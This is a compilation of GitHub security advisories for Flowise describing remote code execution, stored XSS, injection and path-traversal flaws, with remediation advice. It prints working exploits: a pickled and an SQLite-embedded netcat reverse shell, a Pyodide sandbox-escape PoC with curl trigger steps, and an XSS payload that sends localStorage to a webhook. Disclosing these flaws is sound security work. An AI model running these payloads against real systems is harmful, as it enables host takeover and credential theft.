py isnull("") class MiniBytesIO: def init(self, b): self.data = b self.pos = 0 def read(self, n=-1): if n == -1: n = len(self.data) - self.pos chunk = self.data[self.pos:self.pos+n] self.pos += n return chunk def readline(self, n=-1): if self.pos >= len(self.data): return b"" nextnl = self.data.find(b"\\n", self.pos) if nextnl == -1: nextnl = len(self.data) if n != -1: nextnl = min(self.pos + n, nextnl) line = self.data[self.pos:nextnl+1] self.pos = nextnl + 1 return line pd.readpickle(MiniBytesIO(base64.b64decode("gASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4=")))

The custom MiniBytesIO class needs to be included in order to deserialise the pickled payload, since readpickle() expects a "str, path object, or file-like object". This is because we cannot use import to import BytesIO, nor open() to write to disk and read, and entering a URL does not work due to pyodide not having raw socket capabilities.

Save the chatflow, and obtain the UUID of this chatflow from the URL /canvas/<UUID>.

Open a listening shell on your specified port from your listening host, and send a POST request to the chatflow to trigger it and achieve code execution:

$ curl -X POST http://<TARGET>/api/v1/prediction/<UUID>

1 / 2
Source: GitHub
First published (updated )
Severity
9.4
Code Injection, SQL Injection
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

============================================================================= Security Advisory elttam

Topic: Flowise RCE via SQLite Record Manager Node

Module: FlowiseAI/Flowise Disclosed: 24-Apr-2026 Credits: Alex Brown Affects: FlowiseAI/Flowise 3.1.2

I. Background

Flowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop interface, minimising the need for extensive coding.

Flowise allows users to connect to a local SQLite database for record management of Upsert Vector Store operations.

II. Problem Description

The database path for the "SQLite Record Manager" node could be overridden using the additionalConfig input, as demonstrated in the following code snippet.

https://github.com/FlowiseAI/Flowise/blob/flowise-components@3.1.2/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts ts class SQLiteRecordManagerRecordManager implements INode { ... async init(nodeData: INodeData, : string, options: ICommonObject): Promise<any> { const tableName = nodeData.inputs?.tableName as string const tableName = tableName ? tableName : 'upsertionrecords' const additionalConfig = nodeData.inputs?.additionalConfig as string <1> const namespace = nodeData.inputs?.namespace as string const namespace = namespace ? namespace : options.chatflowid const cleanup = nodeData.inputs?.cleanup as string const sourceIdKey = nodeData.inputs?.sourceIdKey as string const sourceIdKey = sourceIdKey ? sourceIdKey : 'source'

let additionalConfiguration = {} if (additionalConfig) { try { additionalConfiguration = typeof additionalConfig === 'object' ? additionalConfig : JSON.parse(additionalConfig) } catch (exception) { throw new Error('Invalid JSON in the Additional Configuration: ' + exception) } }

const database = path.join(process.env.DATABASEPATH ?? path.join(getUserHome(), '.flowise'), 'database.sqlite') <2>

const sqliteOptions = { database, ...additionalConfiguration, <3> type: 'sqlite' }

const args = { sqliteOptions, tableName: tableName }

const recordManager = new SQLiteRecordManager(namespace, args)

;(recordManager as any).cleanup = cleanup ;(recordManager as any).sourceIdKey = sourceIdKey

return recordManager } } <1> The additionalConfig input was user controllable.

<2> The intended SQLite database path.

<3> Keyword argument expansion of the additionalConfiguration variable after the database variable, which allows overwriting the preceding database setting.

An attacker could abuse this weakness to write an SQLite database to an arbitrary filepath, which includes system directories since the flowiseai/flowise:3.1.2 Docker image runs as root.

However, unlike the Flowise RCE via SQL Database Chain Node vulnerability, the executed SQL query was not user controllable and the tableName input was validated to match the /^[a-zA-Z0-9]+$/ regex pattern, as shown in the following code snippet.

https://github.com/FlowiseAI/Flowise/blob/flowise-components@3.1.2/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts ts class SQLiteRecordManager implements RecordManagerInterface { ...

sanitizeTableName(tableName: string): string { // Trim and normalize case, turn whitespace into underscores tableName = tableName.trim().toLowerCase().replace(/\s+/g, '')

// Validate using a regex (alphanumeric and underscores only) if (!/^[a-zA-Z0-9]+$/.test(tableName)) { <1> throw new Error('Invalid table name') }

return tableName }

...

async createSchema(): Promise<void> { const dataSource = await this.getDataSource() try { const queryRunner = dataSource.createQueryRunner() const tableName = this.sanitizeTableName(this.tableName) <1>

await queryRunner.manager.query( <2> CREATE TABLE IF NOT EXISTS "${tableName}" ( uuid TEXT PRIMARY KEY DEFAULT (lower(hex(randomblob(16)))), key TEXT NOT NULL, namespace TEXT NOT NULL, updatedat REAL NOT NULL, groupid TEXT, UNIQUE (key, namespace) ); CREATE INDEX IF NOT EXISTS updatedatindex ON "${tableName}" (updatedat); CREATE INDEX IF NOT EXISTS keyindex ON "${tableName}" (key); CREATE INDEX IF NOT EXISTS namespaceindex ON "${tableName}" (namespace); CREATE INDEX IF NOT EXISTS groupidindex ON "${tableName}" (groupid);)

// Add docid column if it doesn't exist (migration for existing tables) const checkColumn = await queryRunner.manager.query( SELECT COUNT() as count FROM pragmatableinfo('${tableName}') WHERE name='docid'; ) if (checkColumn[0].count === 0) { await queryRunner.manager.query(ALTER TABLE "${tableName}" ADD COLUMN docid TEXT;) await queryRunner.manager.query(CREATE INDEX IF NOT EXISTS docidindex ON "${tableName}" (docid);) }

await queryRunner.release() } catch (e: any) { // This error indicates that the table already exists // Due to asynchronous nature of the code, it is possible that // the table is created between the time we check if it exists // and the time we try to create it. It can be safely ignored. if ('code' in e && e.code === '23505') { return } throw e } finally { await dataSource.destroy() } }

...

async update(keys: Array<{ uid: string; docId: string }> | string[], updateOptions?: UpdateOptions): Promise<void> { if (keys.length === 0) { return } const dataSource = await this.getDataSource() const queryRunner = dataSource.createQueryRunner() const tableName = this.sanitizeTableName(this.tableName)

const updatedAt = await this.getTime() const { timeAtLeast, groupIds: groupIds } = updateOptions ?? {}

if (timeAtLeast && updatedAt < timeAtLeast) { throw new Error(Time sync issue with database ${updatedAt} < ${timeAtLeast}) }

// Handle both new format (objects with uid and docId) and old format (strings) const isNewFormat = keys.length > 0 && typeof keys[0] === 'object' && 'uid' in keys[0] const keyStrings = isNewFormat ? (keys as Array<{ uid: string; docId: string }>).map((k) => k.uid) : (keys as string[]) const docIds = isNewFormat ? (keys as Array<{ uid: string; docId: string }>).map((k) => k.docId) : keys.map(() => null)

const groupIds = groupIds ?? keyStrings.map(() => null)

if (groupIds.length !== keyStrings.length) { throw new Error(Number of keys (${keyStrings.length}) does not match number of groupids (${groupIds.length})) }

const recordsToUpsert = keyStrings.map((key, i) => [key, this.namespace, updatedAt, groupIds[i] ?? null, docIds[i] ?? null]) <3>

const query = INSERT INTO "${tableName}" (key, namespace, updatedat, groupid, docid) VALUES (?, ?, ?, ?, ?) ON CONFLICT (key, namespace) DO UPDATE SET updatedat = excluded.updatedat, docid = excluded.docid

try { // To handle multiple files upsert for (const record of recordsToUpsert) { // Consider using a transaction for batch operations await queryRunner.manager.query(query, record.flat()) } await queryRunner.release() } catch (error) { console.error('Error updating in SQLiteRecordManager:') throw error } finally { await dataSource.destroy() } } ... } <1> Validates the tableName input matches the regex pattern /^[a-zA-Z0-9]+$/.

<2> The SQL command creating the database table, which is not user controllable.

<3> The this.namespace is a user controllable input for the node.

Since the allowed characters of the tableName input were restricted, it was not possible to utilise the same technique from GHSA-pwfj-wh95-7mwp to comment out () characters within the SQLite database file that would cause a syntax error when executed as a shell script. To avoid this limitation, the binary structure of SQLite databases was investigated, where the following output shows the binary structure of the docidindex cell using the default upsertionrecords table name.

Bytes Raw Decoded ────────────────────────────────────────────────── [3574:3575] 62 payload length = 98 [3575:3576] 04 rowid = 4

── Record Header ────────────────────────────── [3576:3577] 06 header length = 6 [3577:3578] 17 col 0 = 23 → TEXT 5 bytes ('index') [3578:3579] 25 col 1 = 37 → TEXT 12 bytes ('docidindex') [3579:3580] 2f col 2 = 47 → TEXT 17 bytes ('upsertionrecords') <1> [3580:3581] 01 col 3 = 1 → INT8 1 byte [3581:3582] 7f col 4 = 127 → TEXT 57 bytes (CREATE INDEX sql)

── Record Body ──────────────────────────────── [3582:3587] 696e646578 col 0 = 'index' [3587:3599] 646f635f69… col 1 = 'docidindex' [3599:3616] 757073657274… col 2 = 'upsertionrecords' [3616:3617] 05 col 3 = 5 (root page = page 5) [3617:3674] 43524541544… col 4 = 'CREATE INDEX docidindex ON "upsertionrecords" (docid)' <1> \x2f serial type corresponds to a TEXT value that is 17 bytes long.

The length of the table name can be manipulated, and a serial type of ' corresponds to a string that is 13 bytes long. The injected ' could then be used to wrap the problematic () characters within the cell, which is then closed by the namespace input that also contains a reverse shell payload that is executed when Puppeteer launches a Chromium browser reading the malicious SQLite database from a /etc/chromium/.conf file.

The following steps document the procedure to reproduce this issue:

1. Import the following Chatflow and configure the OpenAI and Weaviate nodes. Observe that the additionalConfig.database input for the SQLite Record Manager node is set to /etc/chromium/exploit.conf, which is the destination the SQLite database will be created. The tableName input is set to AAAAAAAAAAAAA, so the encoded serial type of its length would be ', and the namespace is set to '$(/usr/bin/nc 172.17.0.1 1337 -e /bin/sh) to close the previous ' and then use command substitution to execute a reverse shell payload. Perform an Upsert Vector Store operation and observe the SQLite database being created at /etc/chromium/exploit.conf.

sqlite-record-rce-poc.json

2. Import the following Chatflow and perform an Upsert Vector Store operation. When Puppeteer is launched, it will execute chromium-browser that sources all /etc/chromium/.conf files, triggering the reverse shell payload as shown in the following terminal output.

sqlite-sqlchain-puppeteer-trigger.json

terminal $ nc -lnvp 1337 Listening on 0.0.0.0 1337 Connection received on 172.17.0.2 40677 id uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) ps aux PID USER TIME COMMAND 1 root 0:13 node /usr/local/bin/flowise start 18 root 0:00 [sh] 30 root 0:00 {chromium-browse} /bin/sh /usr/bin/chromium-browser --allow-pre-commit-input --disable-background-networking --disable-background-timer-throttling --disable-backgrounding-occluded-windows --disable-breakpad --disable-client-side-phishing-detection --disable-component-extensions-with-background-pages --disable-component-update --disable-default-apps --disable-dev-shm-usage --disable-features=Translate,BackForwardCache,AcceptCHFrame,MediaRouter,OptimizationHints --disable-hang-monitor --disable-ipc-flooding-protection --disable-popup-blocking --disable-prompt-on-repost --disable-renderer-backgrounding --disable-sync --enable-automation --enable-blink-features=IdleDetection --enable-features=NetworkServiceInProcess2 --export-tagged-pdf --force-color-profile=srgb --metrics-recording-only --no-first-run --password-store=basic --use-mock-keychain --headless=new --hide-scrollbars --mute-audio about:blank --no-sandbox --remote-debugging-port=0 --user-data-dir=/tmp/puppeteerdevchromeprofile-AnFBBC 31 root 0:00 /bin/sh 33 root 0:00 ps aux III. Impact

An authenticated user on a Flowise instance using the published Docker image could exploit this vulnerability to achieve RCE, resulting in full compromise of the application.

IV. Solution

Consider performing the following remediation activities:

Ensure that the additionalConfig input could not be abused to overwrite the database property to an arbitrary file path.

Use a low-privileged user for container runtimes instead of the privileged root user, since the root user has file access to the entire filesystem of the container.

1 / 2
Source: GitHub
First published (updated )
Severity
9.4
Code Injection
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary Flowise's CSVAgent interpolates an attacker-controlled segment of the csvFile data URI directly into a Python source-code template that is then executed by Pyodide. Because Pyodide is loaded with the default js bridge to globalThis (which on Node.js exposes eval and dynamic import()), the attacker can break out of the Python string literal, hand a JS string to js.eval, dynamically import any Node built-in module (fs, childprocess, …), and execute arbitrary file I/O or OS commands as the Flowise process. The two validator paths around this code (validatePythonCodeForDataFrame and validateCustomReadCSVFunction) are never applied to the bootstrap template.

A workspace user with chatflows:create (or any agentflows/chatflows update permission) plants a CSV Agent node with a crafted csvFile. Once the chatflow is exposed via the (whitelisted, public) POST /api/v1/prediction/:id endpoint, any unauthenticated request triggers the host RCE.

Details

Vulnerable file: packages/components/nodes/agents/CSVAgent/CSVAgent.ts

The run() method extracts the file segment from the data URI by splitting on , and using two pop() calls (lines 127–138):

ts } else { if (csvFileBase64.startsWith('[') && csvFileBase64.endsWith(']')) { files = JSON.parse(csvFileBase64) } else { files = [csvFileBase64] }

for (const file of files) { if (!file) continue const splitDataURI = file.split(',') splitDataURI.pop() // discards trailing filename segment base64String += splitDataURI.pop() ?? '' // captures the segment we attack } }

The captured base64String is then interpolated verbatim into a Python source string at lines 156–171:

ts const code = import pandas as pd import base64 from io import StringIO import json

base64string = "${base64String}" // ← line 161: interpolation sink

decodeddata = base64.b64decode(base64string) csvdata = StringIO(decodeddata.decode('utf-8'))

df = pd.${customReadCSVFunc} mydict = df.dtypes.astype(str).todict() print(mydict) json.dumps(mydict) dataframeColDict = await pyodide.runPythonAsync(code) // ← line 171: sink

Validator gaps:

- validateCustomReadCSVFunction(customReadCSVFunc) runs on line 147, but this only validates the customReadCSV field, not base64String. - validatePythonCodeForDataFrame(pythonCode) runs on line 198, but only against the LLM-emitted Python that runs later — never against this bootstrap template. - No content check (^[A-Za-z0-9+/=]$) is applied to base64String before interpolation.

Pyodide configuration (packages/components/nodes/agents/CSVAgent/core.ts, lines 7–16):

ts export async function LoadPyodide(): Promise<PyodideInterface> { if (pyodideInstance === undefined) { const { loadPyodide } = await import('pyodide') const obj: any = { packageCacheDir: path.join(getUserHome(), '.flowise', 'pyodideCacheDir') } pyodideInstance = await loadPyodide(obj) await pyodideInstance.loadPackage(['pandas', 'numpy']) } return pyodideInstance }

Pyodide is loaded with default options. On Node.js, the default js module inside Pyodide bridges to globalThis, exposing the JS eval function and top-level dynamic import(). From injected Python, the attacker runs:

python import js await js.eval( "(async () => {" " const fs = await import('fs');" " fs.writeFileSync('proof.txt', 'pwned');" "})()" )

…which executes in the host Node.js process, not inside Pyodide's WASM sandbox. Substituting await import('childprocess') for await import('fs') yields arbitrary OS-command execution via cp.execSync(...) with the same primitive.

Node-version note. The original PoC for this issue used js.process.mainModule.require("childprocess"), which is a one-liner but only works on Node ≤ 13 because process.mainModule was deprecated and now returns undefined on Node 14+. The js.eval + dynamic-import() form above works on any Node 13.2+ in both CommonJS and ESM contexts, and was confirmed end-to-end against a stock flowise@3.1.2 running on Node 20.20.2 — see Verified end-to-end against live Flowise below.

Trigger path (post-plant): the route POST /api/v1/prediction/:id is in WHITELISTURLS (packages/server/src/utils/constants.ts:12); when the chatflow has no apikeyid set, it is reachable unauthenticated. A prediction request runs the chatflow, instantiates CSVAgent, and executes the malicious bootstrap.

PoC

Verified end-to-end on the cloned repo (commit a3ffe6611b0986d646b9cd8bb8787d4fdcf9be6d, the same commit the prior audit was based on).

Reproducer setup

Two files. Save the first as package.json, the second as reproa1pyodide.js, then npm install && node reproa1pyodide.js in the same directory.

package.json:

json { "name": "poc-flowise-s1", "version": "1.0.0", "type": "commonjs", "dependencies": { "pyodide": "^0.29.3" } }

reproa1pyodide.js — mirrors CSVAgent.ts:127-138 (the data-URI parser) and :156-171 (the Python template), then runs the assembled Python through real Pyodide. The injection segment is checked for commas before assembly to confirm it cannot be fragmented by the JS-side split(',').

js // Full host-RCE PoC for Flowise CSVAgent base64-injection. // // Loads real pyodide (matching how core.ts:LoadPyodide() boots it) and runs // the Python that CSVAgent.ts:156-170 would assemble for an attacker-controlled // csvFile data URI. Demonstrates: // 1. JS-side template-literal interpolation produces malicious Python // 2. validatePythonCodeForDataFrame is bypassed (it never inspects this code path) // 3. Pyodide-on-Node js bridge reaches Node's fs module via dynamic // import('fs') -> host file write // // CONSTRAINTS: // csvFile is split on , by the agent (CSVAgent.ts:135-137) — segment[2] // of the data URI is what becomes base64string, so this segment must // contain NO raw , bytes. // Inside a Python double-quoted string literal, , is the escape // for ,. The data-URI parser sees the 6 raw bytes \, u, 0, 0, // 2, c (no commas), but Python's lexer turns them into commas at // runtime — letting us pass multiple arguments to JS functions inside // the Python source. // // NODE-VERSION NOTE: an earlier revision of this PoC used // cp = js.process.mainModule.require("childprocess"); cp.execSync(...) // which is shorter but only works on Node ≤ 13 — process.mainModule was // deprecated and now returns undefined on Node 14+, so the inner // .require(...) silently no-ops. The js.eval + dynamic-import() form // below works on any Node 13.2+ in both CommonJS and ESM contexts and was // confirmed end-to-end against flowise@3.1.2 running on Node 20.20.2.

const fs = require('fs') const path = require('path') const { loadPyodide } = require('pyodide')

const proofName = 'flowisea1pyodideproof.txt' const proofPath = path.resolve(dirname, proofName) const proofMarker = 'FLOWISEA1HOSTRCEviapyodidedynamicimport'

// --- Attacker payload (Python; comma-free) ---------------------------------- // Closes the base64string = " literal with ";, runs malicious Python, // then # comments out the surviving closing " so the rest of the // bootstrap template still parses. const pythonInjection = '";\n' + 'import js\n' + await js.eval("(async () => { const fs = await import('fs'); fs.writeFileSync('${proofName}'\\u002c '${proofMarker}'); })()")\n + '#'

// Sanity: any commas would fragment the injection on the JS side. if (pythonInjection.includes(',')) { throw new Error('PoC bug: injection segment contains a comma — would be split by csvFile.split(",")') }

const csvFile = data:text/csv;base64,A,${pythonInjection},IGNORED

// --- JS side: mirror CSVAgent.ts:127-138 ------------------------------------ const csvFileBase64 = csvFile const files = csvFileBase64.startsWith('[') && csvFileBase64.endsWith(']') ? JSON.parse(csvFileBase64) : [csvFileBase64] let base64String = '' for (const file of files) { if (!file) continue const splitDataURI = file.split(',') splitDataURI.pop() base64String += splitDataURI.pop() ?? '' }

// --- JS side: mirror CSVAgent.ts:156-170 (pandas import omitted) ------------ // We omit import pandas as pd so we don't need to load pandas (~30 MB) just // to demonstrate the injection. The real flow's pyodide instance preloads // pandas via LoadPyodide() (core.ts:12). The injection point and validator // bypass are identical either way. const code = import base64 from io import StringIO import json

base64string = "${base64String}"

decodeddata = base64.b64decode(base64string) csvdata = StringIO(decodeddata.decode('utf-8')) print("post-injection bootstrap continued; base64string =", repr(base64string))

console.log('--- Assembled Python (passed verbatim to pyodide.runPythonAsync) ---') console.log(code) console.log('--- end ---\n')

;(async () => { try { fs.unlinkSync(proofPath) } catch {}

console.log('[] Loading pyodide...') const pyodide = await loadPyodide() console.log('[] Pyodide loaded; running attacker-assembled Python...\n')

try { await pyodide.runPythonAsync(code) } catch (e) { console.log('[!] runPythonAsync threw (the bootstrap may fail AFTER the injection has executed):') console.log(String(e).split('\n').slice(0, 8).join('\n')) }

// give the spawned writeFileSync a moment to flush await new Promise((r) => setTimeout(r, 500))

console.log('\n--- Proof file at ' + proofPath + ' ---') if (fs.existsSync(proofPath)) { console.log(fs.readFileSync(proofPath, 'utf-8').trim()) console.log('\n[+] HOST RCE CONFIRMED: file written by the Node host process via the pyodide js-bridge.') } else { console.log('[-] Proof file not present.') } })()

What gets assembled

After the two pop() calls in CSVAgent.ts:135-137 extract the third comma-separated segment, the Python text passed to pyodide.runPythonAsync becomes (note that Python's lexer resolves the , escapes inside the string literal back to commas, so the JS code actually receives fs.writeFileSync('proof', 'marker')):

python import base64 from io import StringIO import json

base64string = ""; import js await js.eval("(async () => { const fs = await import('fs'); fs.writeFileSync('flowisea1pyodideproof.txt', 'FLOWISEA1HOSTRCEviapyodidedynamicimport'); })()") #"

decodeddata = base64.b64decode(base64string) csvdata = StringIO(decodeddata.decode('utf-8')) ...

The "; closes line 161's string literal; the injected statements execute (awaiting the JS Promise that writes the proof file); the trailing # comments out the dangling " so the rest of the bootstrap parses. The remaining b64decode("") returns b'' and pd.readcsv (in the live template) then raises pandas.errors.EmptyDataError, but the fs.writeFileSync(...) call has already fired in the Node host.

Observed output (after deleting any prior proof file)

[] Loading pyodide... [] Pyodide loaded; running attacker-assembled Python...

--- Proof file at .../flowisea1pyodideproof.txt --- FLOWISEA1HOSTRCEviapyodidedynamicimport

[+] HOST RCE CONFIRMED: file written by the Node host process via the pyodide js-bridge.

The proof file flowisea1pyodideproof.txt is written by the Node host process via the Pyodide js bridge → js.eval(...) → (await import('fs')).writeFileSync(...), confirming the escape from the Pyodide WASM sandbox. The standalone repro omits import pandas, so no post-injection exception is raised — but the live template (pandas.readcsv on the empty buffer) throws pandas.errors.EmptyDataError after the host write has already happened, which is exactly the symptom an operator sees in the chat panel.

Verified end-to-end against live Flowise

The standalone repro above proves the validator-bypass + sandbox-escape primitive in isolation. The same payload was additionally verified against a stock flowise@3.1.2 install on Node 20.20.2:

| Step | Action | |---|---| | 1 | npm install -g flowise (Node 20.20.2, Linux x64) | | 2 | flowise start → bind on :3000 | | 3 | UI: create admin + dummy OpenAI credential (any string for the API key — never validated; the exploit fires before the LLM is invoked) | | 4 | Plant the attached evil-csvagent-flow.json in the chatflows DB (UI import or POST /api/v1/chatflows) | | 5 | Open the chatflow → click chat → send any message | | 6 | Chat panel shows pandas.errors.EmptyDataError: No columns to parse from file | | 7 | /home/<user>/flowisea1proof.txt is now present, 46 bytes, content FLOWISEA1HOSTRCEviapyodidedynamicimport, owner-uid matches the Flowise process uid |

Reproduction artifacts (evil-csvagent-flow.json, build-flow-v2.js, test-flow.js, the captured evidence-bundle.txt) live at pocs/S1-csvagent-csvfile-rce/triage-response/. The chatflow JSON is built verbatim from Flowise's bundled marketplaces/chatflows/CSV Agent.json template with three minimal edits — the malicious csvFile data URI on csvAgent0, a placeholder credential on chatOpenAI0, and the sticky note removed — so it imports cleanly into any Flowise 3.x without the reactFlowNodeData.inputParams.find(...) 500 the maintainer initially saw when handed a hand-crafted minimal flow.

End-to-end against a live Flowise instance

The local PoC above proves the validator-bypass + sandbox-escape primitive. To reach the same primitive over HTTP against a deployed Flowise, two requests suffice:

bash Step 1 — authenticated chatflow author (any user with chatflows:create in OSS, this is typically every registered user) plants the flow. evil-csvagent-flow.json is a chatflow whose csvAgent node has inputs.csvFile = "data:text/csv;base64,A,<comma-free python payload>,IGNORED" curl -X POST https://target/api/v1/chatflows \ -H "Authorization: Bearer <api-key with chatflows:create>" \ -H "Content-Type: application/json" \ -d @evil-csvagent-flow.json → returns chatflow id, e.g. "<flow-uuid>"

Step 2 — anyone, no auth (the route is whitelisted at packages/server/src/utils/constants.ts:12) triggers execution: curl -X POST https://target/api/v1/prediction/<flow-uuid> \ -H "Content-Type: application/json" \ -d '{"question":"go"}'

Step 1 is the only authenticated step; Step 2 is unauthenticated when chatflow.apikeyid is unset (the default for newly created chatflows).

Impact

- Class: Remote Code Execution via Python-template injection escaping the Pyodide sandbox through the js bridge. - Affected: every Flowise deployment that exposes a chatflow containing a CSVAgent node where csvFile is operator-supplied (i.e., overridable via nodeOverrides for the API caller, or planted by any user with chatflow edit permission). - Prerequisites: one user with chatflows:create / chatflows:update / agentflows:create / agentflows:update to plant the chatflow once. The trigger is unauthenticated when the chatflow has no apikeyid set (the default for newly created chatflows). - Result: arbitrary OS-command execution as the Flowise process. Direct access to Flowise's encrypted-credentials key file, the entire database, the host filesystem, and any network resource the host can reach.

Metadata

- Affected versions: Confirmed at commit a3ffe6611b0986d646b9cd8bb8787d4fdcf9be6d (main, 2026-04-28) and at flowise@3.1.2. The vulnerable code (splitDataURI.pop() + template-string interpolation) appears unchanged across this range. Earlier 3.x versions with the same data-URI parsing pattern are also believed to be affected, but I did not verify each historical tag. - Fixed version: Unpatched at the audited commit. - CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H → Base score 9.9 (Critical). - AV:N — public /api/v1/prediction/:id trigger. - AC:L — deterministic; no race / timing. - PR:L — one user with chatflows:create (or equivalent) plants the chatflow. In OSS deployments, any registered user typically has this. - UI:N — no user interaction required at trigger time. - S:C — Pyodide's WASM/Python sandbox is the intended security authority for this code path; the js bridge escape and the validator bypass break out to the Node host process. - C:H / I:H / A:H — full host compromise. - CWE: CWE-94 (Improper Control of Generation of Code: 'Code Injection'); more specifically CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code: 'Eval Injection').

Remediation

Maintainer fix (preferred — eliminates string-interpolation entirely): pass the base64 value through Pyodide's globals.set API instead of template-string interpolation. In packages/components/nodes/agents/CSVAgent/CSVAgent.ts, replace the construction at lines 156–171 with something like:

ts const pyodide = await LoadPyodide() pyodide.globals.set('base64string', base64String) const code = import pandas as pd import base64 from io import StringIO import json

decodeddata = base64.b64decode(base64string)

csvdata = StringIO(decodeddata.decode('utf-8'))

df = pd.${customReadCSVFunc} mydict = df.dtypes.astype(str).todict() print(mydict) json.dumps(mydict) dataframeColDict = await pyodide.runPythonAsync(code)

This keeps the value as a Python str object that never enters the source text. Apply the same change to AirtableAgent.ts if it follows the same pattern.

Defense in depth (recommended as well): 1. Validate base64String against ^[A-Za-z0-9+/=]$ before interpolation (rejects every escape character used in the PoC). 2. Disable Pyodide's js module on load. Pyodide supports loadPyodide({ jsglobals: {} }) or the js-module-removal recipe; either prevents the bridge to globalThis.process on Node.js. Apply in packages/components/nodes/agents/CSVAgent/core.ts:LoadPyodide. 3. Run validatePythonCodeForDataFrame (or a stricter equivalent) over the bootstrap template, not only over the LLM-emitted code. The current ordering inverts the trust assumption. 4. Add a positive allow-list to validateCustomReadCSVFunction enumerating only safe pandas readers (e.g., readcsv and column-typed forms); exclude readpickle, readhtml, readxml, readparquet, readorc, readfeather, readjson (these are independently exploitable — see S2/S3 in the submission roadmap).

User mitigations until a patch ships: - Set chatflow.apikeyid on every chatflow that uses CSVAgent so validateFlowAPIKey enforces auth on /api/v1/prediction/:id. - Set chatbotConfig.allowedOrigins to a strict list (note: this only defends against browser callers, not curl/server-side). - Restrict chatflows:create / agentflows:create permissions to trusted users only. - Where possible, strip csvFile from the nodeOverrides allow-list on affected chatflows so it cannot be supplied at prediction time.

1 / 2
Source: GitHub
First published (updated )
Severity
9.4
OS Command Injection
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Flowise (packages flowise and flowise-components) in versions <= 3.1.2 contain a sandbox escape in the vm2/@flowiseai/nodevm JavaScript sandbox. An authenticated user with access to the /api/v1/node-custom-function endpoint can escape the sandbox by supplying attacker-controlled executablePath and args parameters to puppeteer.launch(), which internally invokes childprocess.spawn() outside the sandbox boundary. This allows execution of arbitrary OS commands as the Flowise process user (root in the official Docker image) and arbitrary host file disclosure via Chromium's file:// URL handling. In versions 3.0.8–3.1.2 exploitation requires ALLOWBUILTINDEP=true; earlier versions are exploitable by default. Fixed in 3.1.3.

First published (updated )
Severity
9.3
XSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

Summary A stored Cross-Site Scripting (XSS) vulnerability in FlowiseAI allows a user to inject arbitrary JavaScript code via message input. When an administrator views messages using the "View Messages" button in the workflow UI, the malicious script executes in the context of the admin’s browser, enabling credential theft via access to localStorage.

---

Details The vulnerability stems from a lack of input sanitization when displaying stored user messages in the admin interface. A specially crafted payload using <iframe srcdoc="..."> can include arbitrary JavaScript, which is executed when the message is rendered.

---

PoC 1. Deploy a FlowiseAI agent and make it accessible via browser (e.g., embed on a website). 2. Send the following payload via the agent's chat interface: html <iframe srcdoc="<script>fetch('http://requestbin.whapi.cloud/XXXXX?d='+encodeURIComponent(JSON.stringify(localStorage)))</script>"> 3. As an admin, go to the workflow and click "View Messages". 4. The JavaScript is executed in the admin's browser, exfiltrating localStorage content to the attacker-controlled webhook endpoint.

---

Impact - Type: Stored Cross-Site Scripting (XSS) - Who is impacted: Any admin viewing messages in the FlowiseAI UI - Data at risk: Admin credentials, or sensitive info stored in localStorage - Severity: High (Account takeover, admin privilege escalation, full panel compromise)

---

Affected Products - Ecosystem: npm - Package name: flowise - Affected versions: < 2.2.7 - Patched versions:1

1 / 2
Source: GitHub
First published (updated )
Severity
9.3
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, the GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion. This vulnerability is fixed in 3.1.0.

First published (updated )
Severity
9.3
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Flowise contains an authentication bypass vulnerability in the unprotected /api/v1/account/register endpoint that allows unauthenticated attackers to create user accounts. Remote attackers can exploit this endpoint to register arbitrary accounts and authenticate to the system, gaining full API access without credentials.

First published (updated )
Severity
9.3
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Flowise before 3.0.6 (affected versions 2.2.8 and earlier) contains an arbitrary file access vulnerability due to missing validation that the chatflowId and chatId parameters are UUIDs or numbers in file handling operations. By supplying a path-traversal value (e.g., '../../../../../tmp') as the chatflow id, an unauthenticated attacker can use the /api/v1/chatflows endpoint (via addBase64FilesToStorage) to write arbitrary files, and the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints (via streamStorageFile) to read arbitrary files. Arbitrary file write may lead to remote code execution.

First published (updated )
Severity
9.3
Path Traversal
